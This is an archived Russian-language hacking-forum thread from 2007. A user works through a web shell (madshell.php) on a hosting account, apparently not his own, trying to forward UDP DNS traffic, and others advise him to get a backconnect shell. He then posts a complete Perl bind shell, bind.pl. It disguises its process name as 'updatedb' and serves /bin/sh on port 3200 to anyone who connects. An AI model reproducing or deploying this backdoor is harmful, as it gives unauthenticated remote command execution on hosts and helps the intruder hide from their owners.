Просмотр полной версии : UDP forward(redirect) на UNIX-шелле
google1917
09.09.2007, 07:28
есть цель - форвардить(редиректить) UDP запросы с 53ого порта на айпишнике шелла на мной выбранный порт на другой айпишник.
операционка шелла ЮНИКС(с Виндоус уже разобрался - для моей задачи есть програмули fpipe и udppm)
подскажите, пожалуйста, кто в курсе как и какой командой это можно сделать.
пробовал юзать datapipe.pl но он походу редиректит только TCP
пробовал udpipe.c но не получается его запустить.
всем кто сможет помочь - заранее большое спасибо !
В чём проблема с запуском udpipe.c? Что пишет?
Можно также попробовать воспользоваться iptables.
google1917
12.09.2007, 13:07
ShadOS спешит мне на помощь. это радует.
ошибки писало при компиляции. либо вообще просто пустота после запуска команды gcc (использую madshell.php)
думаю, либо прав не хватает, либо какие-то ограничения на хосте - все-таки шелл есть шелл.
пришел к выводу что все-таки надо юзать Перл. слегка модифицировал datapipe.pl
на одном хосте заработало. но потом почему-то хостинг ушел в даун на 6 часов. после этого уже не работает. я открывал 53порт на UDP - это ДНС сервер. наверное что-то накосячило либо не так модифицировал Datapipe.pl...
буду дальше химичить..
да.. iptables - не запускается - пустота в ответ на команду.
Давай начнём с того, что тебе необходимо завести нормальный backconnect-шелл. Вот увидишь половину проблем (если не все) сразу решатся. Всё дело в отсутствии нормального интерпретатора командной оболочки (возможно).
fucker"ok
12.09.2007, 21:42
Вообще-то, если у тебя нет прав root, то никак ты с 53-его порта не сможешь сделать редирект.
А так в зависимости от ОС iptables/ipfw.
google1917
13.09.2007, 04:02
ShadOS, глянь плиз
http://forum.antichat.ru/thread17581-gcc.html
попробую в соответствии с этой статьей запустить коннект-бак шелл. хотя чтото мне подсказывает что не получится раз уж udpipe.c не запускался...
fuckerok, через .pl запускаются и TCP порт редиректы и даже сокс на шеллах, при чем права простого юзера. а вот с UDP проблемы...
а для .с видимо да... нужны права рута.. потому и не получается у меня нормально запустить..
google1917
13.09.2007, 04:38
такс, я немножко продвигаюсь.
дело в том что все что я писал ранее я делал через madshell.php = веб-шелл.
теперь залил bind.pl
даже не надо конект-бака - открыло порт без проблем
буду пробовать дальше.
*****************
#!/usr/bin/perl
$port = 3200;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}
******************
По первому посту выглядит, что тебе udpipe.c надо скомпилировать сперва, например:
make udpipe
в той же папке,где наxодится udpipe.c, или лучше:
gcc udpipe.c -o udpipe
и запустить
./udpipe <желаемый порт>
google1917
15.09.2007, 00:15
sunb0rn, спасиб, но не получалось ни через Gcc ни через make
видимо прав не хватает...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot